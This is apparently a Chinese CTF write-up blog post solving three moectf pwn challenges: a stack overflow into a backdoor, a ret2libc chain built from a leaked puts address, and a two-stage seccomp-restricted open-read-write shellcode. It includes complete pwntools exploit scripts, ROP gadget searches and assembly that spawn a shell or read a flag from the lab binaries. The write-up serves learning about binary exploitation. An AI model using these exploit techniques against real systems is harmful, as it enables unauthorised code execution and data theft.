2315 words
12 minutes
2026第一周WP
2026-09-08

走后门#

ssize_t vuln()
{
int v1; // [rsp+Ch] [rbp-44h] BYREF
_BYTE buf[64]; // [rsp+10h] [rbp-40h] BYREF
puts(aMaybeIfYouGive);
puts("So how many do you want to give?");
__isoc99_scanf("%d", &v1);
puts("Now plz give it to me");
if ( v1 <= 0 )
{
puts("Don't get cute with me and I am not the genie.");
exit(0);
}
return read(0, buf, v1);
}

很明显的栈溢出:读取的长度由我们自己决定,程序就原样往 buf 里写入这么多字节。

buf 长度为 64,再加上 8 字节的 saved rbp,构成第一部分的填充(共 72 字节)。

.text:0000000000401209 backdoor proc near
.text:0000000000401209 ; __unwind {
.text:0000000000401209 endbr64
.text:000000000040120D push rbp
.text:000000000040120E mov rbp, rsp
.text:0000000000401211 lea rax, s ; "If it's enough,you can get anything you"...
.text:0000000000401218 mov rdi, rax ; s
.text:000000000040121B call _puts
.text:0000000000401220 lea rax, command ; "/bin/sh"
.text:0000000000401227 mov rdi, rax ; command
.text:000000000040122A call _system
.text:000000000040122F nop
.text:0000000000401230 pop rbp
.text:0000000000401231 retn
.text:0000000000401231 ; } // starts at 401209
.text:0000000000401231 backdoor endp
.text:0000000000401231

IDA 里已经列出了后门函数,所以跳转地址确定为 0x401209。

另外,由于 x86-64 的调用约定要求调用时 rsp 按 16 字节对齐(system 内部会使用 movaps 这类要求对齐的指令),而 retn 会多弹出一次栈,所以还需要在跳转地址前多加一个 8 字节的 retn 来把 rsp 对齐回去。

.text:0000000000401232 ; __unwind {
.text:0000000000401232 endbr64
.text:0000000000401236 push rbp
.text:0000000000401237 mov rbp, rsp
.text:000000000040123A sub rsp, 50h
.text:000000000040123E lea rax, aMaybeIfYouGive ; "Maybe if you give me enough things,you "...
.text:0000000000401245 mov rdi, rax ; s
.text:0000000000401248 call _puts
.text:000000000040124D lea rax, aSoHowManyDoYou ; "So how many do you want to give?"
.text:0000000000401254 mov rdi, rax ; s
.text:0000000000401257 call _puts
.text:000000000040125C lea rax, [rbp+var_44]
.text:0000000000401260 mov rsi, rax
.text:0000000000401263 lea rax, aD ; "%d"
.text:000000000040126A mov rdi, rax
.text:000000000040126D mov eax, 0
.text:0000000000401272 call ___isoc99_scanf
.text:0000000000401277 lea rax, aNowPlzGiveItTo ; "Now plz give it to me"
.text:000000000040127E mov rdi, rax ; s
.text:0000000000401281 call _puts
.text:0000000000401286 mov eax, [rbp+var_44]
.text:0000000000401289 test eax, eax
.text:000000000040128B jle short loc_4012A6
.text:000000000040128D mov eax, [rbp+var_44]
.text:0000000000401290 movsxd rdx, eax ; nbytes
.text:0000000000401293 lea rax, [rbp+buf]
.text:0000000000401297 mov rsi, rax ; buf
.text:000000000040129A mov edi, 0 ; fd
.text:000000000040129F call _read
.text:00000000004012A4 jmp short locret_4012BF
.text:00000000004012A6 ; ---------------------------------------------------------------------------
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: vuln+59↑j
.text:00000000004012A6 lea rax, aDonTGetCuteWit ; "Don't get cute with me and I am not the"...
.text:00000000004012AD mov rdi, rax ; s
.text:00000000004012B0 call _puts
.text:00000000004012B5 mov edi, 0 ; status
.text:00000000004012BA call _exit
.text:00000000004012BF ; ---------------------------------------------------------------------------
.text:00000000004012BF
.text:00000000004012BF locret_4012BF: ; CODE XREF: vuln+72↑j
.text:00000000004012BF leave
.text:00000000004012C0 retn
.text:00000000004012C0 ; } // starts at 401232
.text:00000000004012C0 vuln endp

注意到这里正好有一个现成的 retn,那就先塞这个地址(0x4012C0),再接上后门地址。

我的payload

from pwn import *
p = process("./pwn")
p.recvuntil(b'So how many do you want to give?')
p.sendline(b'88')
p.recvuntil(b'Now plz give it to me')
payload = b'A' * 72 + p64(0x4012C0) + p64(0x401209)
p.sendline(payload)
p.interactive()

helloworld#

我差点他妈的就跑去查壳了(

023f2f84-2a07-469e-9ed3-92c2e0966bd3

RUNPATH 为 b'.',说明题目额外提供的那个 libc.so.6 要派上用场了,也就是:

libc = ELF('./libc.so.6')

先看main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Check your programming skill:");
puts("fill in the blank:");
puts("#include <stdio.h>");
puts("#include <stdlib.h>");
puts(&byte_402081);
puts("int main(){");
puts(" _______ (\"Hello World!\");");
puts(" return 0;");
puts("}");
puts("Your answer:");
read(0, buf, 0x1Fu);
buf[strcspn(buf, "\n")] = 0;
if ( !strcmp(buf, "puts") )
{
printf("This function seems to be unsafe,right? %p\n", &puts);
}
else if ( !strcmp(buf, "printf") )
{
printf("This function seems to be unsafe,right? %p\n", &printf);
}
else
{
puts("Go and learn more about C and libc");
}
vuln();
return 0;
}

这里有一个 buf 输入及检测:输入 puts 可以让程序打印出 puts 的真实地址,随后程序会进入 vuln。

ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Now show me your real pwn skill:");
return read(0, buf, 0xC8u);
}

0xC8 明显大于 64,所以这里存在栈溢出,现在就可以考虑构造 payload 了。

0x40 = 64,刚好填满 buf,再加上 8 字节的 saved rbp,之后就是我们可以控制的返回地址。

在二进制里搜了一圈,没找到 system。

那就是该上动态调试了

fe98ca24-13e5-4a0a-8242-9921a3bde5a2

没有 PIE,开启了 NX,并且有 RUNPATH。

RUNPATH: b'.'

这表示程序的 RUNPATH 被设置为 .(当前目录)。也就是说,程序运行时,动态链接器会优先在当前工作目录搜索共享库。

0316349b-e03b-4afa-a684-8f48361f89ed

可以看到,输入 64 个字符就已经把 buf 填满了,再加上 8 字节的 saved rbp,也就是 72 字节之后就开始覆盖返回地址了;而且每次调试时 puts 的地址都是随机变化的(ASLR 导致 libc 基址随机)。

那么下一个问题就是 ret 和 pop rdi; ret 这两个 gadget 的地址。

(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ ROPgadget --binary pwn | grep "pop rdi ; ret"
0x00000000004013d3 : pop rdi ; ret
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ ROPgadget --binary pwn | grep -m1 ": ret$"
0x000000000040101a : ret

这些 gadget 在 IDA 里看不到,所以得用 ROPgadget。

然后就是利用题目提供的 libc.so.6 了。

在主程序里找半天都没找到 system 和 /bin/sh,那就去另一个文件里找:

(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ strings -a -t x libc.so.6.orig | grep '/bin/sh'
1b45bd /bin/sh
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ nm -D libc.so.6.orig | grep -w system
0000000000052290 W system@@GLIBC_2.2.5

但要注意,函数的真实地址 = libc 基址 + 偏移,这也正是程序一开始就白送一个 puts 地址的原因 —— 我们只能利用这个已知地址来反推 libc 基址。

那就可以结束战斗了

from pwn import *
context.arch = 'amd64'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
pop_rdi = 0x4013d3
align_ret = 0x40101a
p = process('./pwn')
p.recvuntil(b'Your answer:')
p.sendline(b'puts')
p.recvuntil(b'0x')
leak = int(p.recvline().strip(), 16)
log.success(f'puts = {hex(leak)}')
libc.address = leak - libc.symbols['puts']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
p.recvuntil(b'Now show me your real pwn skill:')
payload = b'A' * 72
payload += p64(align_ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()

ezpwn02#

先checksec

Terminal window
checksec chall
[*] '/mnt/d/ctf/flag/pwn/moectf/ezpwn02/pwn-ezpwn2/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

再看 main 函数的逻辑,这是一道经典的 ORW(open-read-write)题。

注意 mmap(0, 0x1000u, 7, 34, -1, 0) 的第三个参数 prot = 7,也就是 RWX = Read(可读)+ Write(可写)+ eXecute(可执行),指一块内存页同时具备这三种权限。

int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
void (__fastcall *v4)(_QWORD); // rbx
_BYTE *v5; // rsi
char *v6; // rax
unsigned int buf; // [rsp+1Ch] [rbp-7Ch] BYREF
_QWORD v9[2]; // [rsp+20h] [rbp-78h] BYREF
_QWORD v10[13]; // [rsp+30h] [rbp-68h] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("ezpwn02");
puts("stage1: max 40 bytes");
puts("badchars: 00 0a 20 2f 66 6c 61 67"); // 禁用字符
puts("seccomp: read/write/openat/exit only"); // 只允许这几个功能出现
buf = 0;
read_exact_constprop_0((char *)&buf, 4u);
if ( buf - 1 > 0x27 )
{
puts("bad stage1 length");
return 1;
} // 限制长度在 1~40 之间
v3 = (char *)mmap(0, 0x1000u, 7, 34, -1, 0);
v4 = (void (__fastcall *)(_QWORD))v3;
if ( v3 == (char *)-1LL )
{
puts("mmap failed.");
return 1;
}
read_exact_constprop_0(v3, buf);
if ( buf )
{
v5 = v4;
while ( 2 )
{
v6 = (char *)&badchars;
do
{
if ( *v5 == *v6 )
{
puts("badchar detected in stage1");
return 1;
}
++v6;
}
while ( &_GNU_EH_FRAME_HDR != (_UNKNOWN *)v6 );
if ( (char *)v4 + buf != ++v5 )
continue;
break;
}
}
puts("stage1 accepted");
v10[0] = 0x400000020LL;
v10[1] = 0xC000003E00010015LL;
v10[2] = 0x8000000000000006LL;
v10[5] = 0x100040015LL;
v10[9] = 0x8000000000000006LL;
v10[6] = 0x10100030015LL;
v10[10] = 0x7FFF000000000006LL;
v10[7] = 0x3C00020015LL;
v10[8] = 0xE700010015LL;
v9[1] = v10;
v10[3] = 32;
v10[4] = 327701;
v9[0] = 11;
if ( prctl(38, 1, 0, 0, 0) || prctl(22, 2, v9) )
_exit(1);
v4(v4);
return 0;
}

可以看到程序给出的 badchars(坏字符)列表:

字节缩写含义
00NUL空字符,字符串终止符
0aLF换行符 \n
20SPACE空格
2f/斜杠
66f字母 f
6cl字母 l
61a字母 a
67g字母 g
if ( buf )
{
v5 = v4;
while ( 2 )
{
v6 = (char *)&badchars;
do
{
if ( *v5 == *v6 )
{
puts("badchar detected in stage1");
return 1;
}
++v6;
}

一旦检测到 badchar,程序就会直接打印提示并 return 1 退出。

也就是说,不能直接写入 /flag 这样的字符串 —— / 和 flag 的四个字母全在禁用列表里。

read_exact_constprop_0((char *)&buf, 4u); // ① 读取 4 字节,存入 buf
if ( buf - 1 > 0x27 ) // ② 检查 buf 是否在 1~40 之间
{
// ...(长度不合法则退出)
read_exact_constprop_0(v3, buf); // ③ 读取 buf 字节的 shellcode

OK那我们来复习一下把大象关进冰箱要几步

  1. 打开 flag 文件。
  2. 读取文件内容。
  3. 输出文件内容。
  4. 退出程序。

也就是 openat、read、write、exit 四个系统调用。

但很明显,stage1 有 40 字节的长度限制,还有坏字符限制,无法一次性把 payload 全部塞进去。

不过注意到 mmap 分配了 0x1000 字节且可读可写可执行的内存,而程序最后又通过 v4(v4) 跳转到这块内存去执行我们写入的内容。那就意味着:我们可以先用一次 read 把更长的 payload 读进这块内存(这次读取的长度由我们自己决定),再跳转过去执行。

鸡毛检查都没有,那我不就结束战斗了

read(0, page + 0x40, 0x1000);

编译

mov rsi, rdi ;rsi为页首地址
add rsi, 0x40
xor edi, edi
xor edx, edx
mov dh, 0x10
xor eax, eax
syscall
jmp rsi ;跳转到 rsi(即页首 + 0x40)处,执行刚刚读入的第二阶段 shellcode。

第二阶段:

打开、读取、输出、退出。

int fd = openat(-100, "flag", 0, 0); // 打开文件
char buf[0x100];
int n = read(fd, buf, sizeof buf); // 读内容
write(1, buf, n); // 打到标准输出
_exit(0);

那么 read 需要的东西:

ssize_t read(int fd, void *buf, size_t count);
stage2 = asm(shellcraft.amd64.linux.openat(-100, '/flag', 0, 0))
stage2 += asm(shellcraft.amd64.linux.read('rax', 'rsp', 0x100))
stage2 += asm(shellcraft.amd64.linux.write(1, 'rsp', 'rax'))
stage2 += asm(shellcraft.amd64.linux.exit(0))
read('rax', 'rsp', 0x100)
# ↑ ↑ ↑
# fd buf 长度
# rax 的值 rsp 的值 0x100

再复习一下:rax 用来接收 openat 的返回值(也就是文件描述符 fd),缓冲区直接丢在可写的栈上(rsp),最后写到标准输出并退出。

进程 A 的文件表(fd)
┌────┬──────────────────┐
│ 0 │ → 终端输入 │
│ 1 │ → 终端输出 │
│ 2 │ → 终端错误 │
│ 3 │ → flag 文件 ★ │ ← openat 返回 3,就是这张表的“行号”
└────┴──────────────────┘

也就是

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
BAD = b'\x00\x0a\x20\x2f\x66\x6c\x61\x67'
stage1 = asm('''
mov rsi, rdi
xor edi, edi
add rsi, 0x40
xor edx, edx
mov dh, 0x10
xor eax, eax
syscall
jmp rsi
''')
stage2 = asm(shellcraft.amd64.linux.openat(-100, '/flag', 0, 0))
stage2 += asm(shellcraft.amd64.linux.read('rax', 'rsp', 0x100))
stage2 += asm(shellcraft.amd64.linux.write(1, 'rsp', 'rax'))
stage2 += asm(shellcraft.amd64.linux.exit(0))
# io = remote('127.0.0.1', 64835)
io = process("./chall")
io.recvuntil(b'seccomp: read/write/openat/exit only\n')
io.send(p32(len(stage1)) + stage1 + stage2)
out = io.recvall(timeout=6)
print(out.decode(errors='replace'))
2026第一周WP
https://dxfaker.top/posts/26moe1/
Author
dxfaker
Published at
2026-09-08
License
CC BY-NC-SA 4.0

Some information may be outdated